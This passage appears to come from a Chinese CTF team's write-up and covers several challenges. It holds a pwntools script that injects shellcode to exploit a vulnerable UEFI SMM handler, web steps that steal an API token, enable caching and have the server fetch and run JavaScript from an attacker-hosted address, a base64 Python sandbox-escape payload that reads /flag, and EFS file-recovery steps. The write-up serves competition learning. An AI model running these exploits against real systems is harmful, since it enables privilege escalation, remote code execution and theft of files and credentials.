log.success('BootServices->AllocatePool @ 0x%x', AllocatePool)
log.success('BootServices->LocateProtocol @ 0x%x', LocateProtocol)
# phase 2
# Taken from EDK2 source code (or opening Binexec.efi in a disassembler)
gEfiSmmCommunicationProtocolGuid = 0x32c3c5ac65db949d4cbd9dc6c68ed8e2
# gEfiSmmCommunicationProtocolGuid = { 0xc68ed8e2, 0x9dc6, 0x4cbd, { 0x9d, 0x94, 0xdb, 0x65, 0xac, 0xc5, 0xc3, 0x32 }}
code = asm(f'''
/* LocateProtocol(gEfiSmmCommunicationProtocolGuid, NULL, &protocol) */
lea rcx, qword ptr [rip + guid]
xor rdx, rdx
lea r8, qword ptr [rip + protocol]
mov rax, {LocateProtocol}
call rax
test rax, rax
jnz fail
mov rax, qword ptr [rip + protocol] /* mSmmCommunication */
mov rbx, qword ptr [rax] /* mSmmCommunication->Communicate */
ret
fail:
ud2
guid:
.octa {gEfiSmmCommunicationProtocolGuid}
protocol:
''')
conn.sendline(code.hex().encode() + b'\ndone')
conn.recvuntil(b'RAX: 0x')
mSmmCommunication = int(conn.recvn(16), 16)
conn.recvuntil(b'RBX: 0x')
Communicate = int(conn.recvn(16), 16)
log.success('mSmmCommunication @ 0x%x', mSmmCommunication)
log.success('mSmmCommunication->Communicate @ 0x%x', Communicate)
# Taken from 0003-SmmCowsay-Vulnerable-Cowsay.patch
gEfiSmmCowsayCommunicationGuid = int.from_bytes(bytes.fromhex('1EF11CB3F3B786EC72088E54B1F4769D'), 'little')
EfiRuntimeServicesData = 6
code = asm(f'''
/* AllocatePool(EfiRuntimeServicesData, 0x1000, &buffer) */
mov rcx, {EfiRuntimeServicesData}
mov rdx, 0x1000
lea r8, qword ptr [rip + buffer]
mov rax, {AllocatePool}
call rax
test rax, rax
jnz fail
mov rax, qword ptr [rip + buffer]
ret
fail:
ud2
buffer:
''')
conn.sendline(code.hex().encode() + b'\ndone')
conn.recvuntil(b'RAX: 0x')
buffer = int(conn.recvn(16), 16)
log.success('Allocated buffer @ 0x%x', buffer)
# 0x53fc0a7
# 49c7c400003323c3
code = asm(f'''
/* Copy data into allocated buffer */
mov rcx, {LocateProtocol}
mov rax, 14061138536686733129
mov qword ptr [rcx], rax
lea rsi, qword ptr [rip + data]
mov rdi, {buffer}
mov rcx, 0x40
cld
rep movsb
mov rcx, {mSmmCommunication}
/* Communicate(mSmmCommunication, buffer, NULL) */
mov rcx, {mSmmCommunication}
mov rdx, {buffer}
xor r8, r8
mov rax, {Communicate}
call rax
test rax, rax
jnz fail
mov rax, [0x23330000]
mov rbx, [0x23330008]
ret
fail:
ud2
data:
.octa {gEfiSmmCowsayCommunicationGuid} /* Buffer->HeaderGuid */
.quad 32 /* Buffer->MessageLength */
.quad 0x4141414141414141 /* Buffer->Data */
.quad 0x4141414141414141
.quad 0x4141414141414141
.quad 0x4141414141414141
''')
# 0x7f0607b
conn.sendline(code.hex().encode())
conn.sendline(b'done')
# Check output to see if things work
conn.interactive()
# DuhbeCTF{$:--)}
好短的flag啊,还以为没打成功。
参考:
https://ctftime.org/writeup/34881
大部分内容都一样,唯一的却别是红框位置。
先是判断传入数据是不是414141,后面又判断是不是0x23330000。
逻辑有点矛盾,所以应该是得在中间的调用过程中给他改掉。
权限不同但是函数是共用的,patch后可以成功修正逻辑。
mov rcx, {LocateProtocol}
mov rax, 14061138536686733129
mov qword ptr [rcx], rax
pwn asm -c amd64 'mov r12, 0x23330000; ret'
WEB
wecat:
改管理员密码
登录后台 文件上传覆盖ws.js文件
将修改后的ws.js代码覆盖上去
上传成功后访问 /wechatAPI/login/checkRepeatLogin
Master of Profile:
读配置文件
http://1.95.13.243:39053/getlocal?path=pref.yml
读到accesstoken:
api_access_token:189069462103782304169366230
enable_cache:false
发现cache选项关闭,通过token修改配置文件,将cache开启
/updateconf?token=189069462103782304169366230&type=direct
然后将恶意js放入远程,通过sub路由读取缓存文件后qjs执行恶意js内容
import requests
import yaml
url = "http://1.95.13.243:42945"
# get token
r = requests.get(url=url+"/getlocal?path=pref.yml")
config_data = yaml.safe_load(r.text)
# 提取api_access_token字段的值
api_access_token = config_data['common']['api_access_token']
print("[+] Access Token:", api_access_token)
# 开启cache
config_data['advanced']['enable_cache'] = 'true'
modified_yaml = yaml.dump(config_data)
# 修改配置文件
requests.post(url=url+f"/updateconf?token={api_access_token}&type=direct",data=modified_yaml)
r = requests.get(url=url+"/sub?target=clash&url=http://ip:1337/4.js")
#r = requests.get(url=url+"/sub?target=clash&url=http://ip:1337/2.js")
requests.get(url=url+f"/sub?token={api_access_token}&target=clash&url=script:cache/3ba54108e843eaa7f9f53a4931abc52e")
r = requests.get(url=url+"/getlocal?path=/tmp/pwn")
print(r.text)
MISC
ezPythonCheckin:
1、nc连接先看看猫腻,大致就是输入的值要先进行base64解密
2、经过测试发现它是一个python3的环境,也就是说我们通过编写脚本之后进行base64加密后传入服务器即可得到脚本运行的结果!!!
3.查看checkin.py,发现过滤了以下字符,但发现没有过滤open,所以我们可以直接使用open来读取文件
4、直接构造exp
with open('/flag', 'r') as file:
# 读取文件内容
content = file.read()
# 打印内容
print(content)
EXP:d2l0aCBvcGVuKCcvZmxhZycsICdyJykgYXMgZmlsZToKICAgICMg6K+75Y+W5paH5Lu25YaF5a65CiAgICBjb250ZW50ID0gZmlsZS5yZWFkKCkKICAgICMg5omT5Y2w5YaF5a65CiAgICBwcmludChjb250ZW50KQ==
Cipher:
1、使用取证大师打开vhd文件,发现flag.jpg
但是flag文件被EFS加密了
2、分析EFS加密原理得到结论
https://learn.microsoft.com/zh-cn/previous-versions/msdn10/ff729412(v=msdn.10)
因此我们只需要找到公钥、私钥与用户密码即可进行解密
3、这里看到一篇文章,公钥和私钥分别在Crypto文件夹和Protect文件夹中
https://blog.csdn.net/shuaicenglou3032/article/details/131184510
4、接着使用Windows自带的cipher对图片进行解析
接下来我们只需要得到mark的密码就可以将文件恢复
5、直接看cmd的history得到mark的密码为superman
6、挂载磁盘,使用aefsdr工具对文件进行恢复
FOOTER
山海关安全团队是一支专注网络安全的实战型团队,团队成员均来自国内外各大高校与企事业单位,总人数已达50余人。Arr3stY0u(意喻”逮捕你“)战队与W4ntY0u(意喻”通缉你“)预备队隶属于团队CTF组,活跃于各类网络安全比赛,欢迎你的加入哦~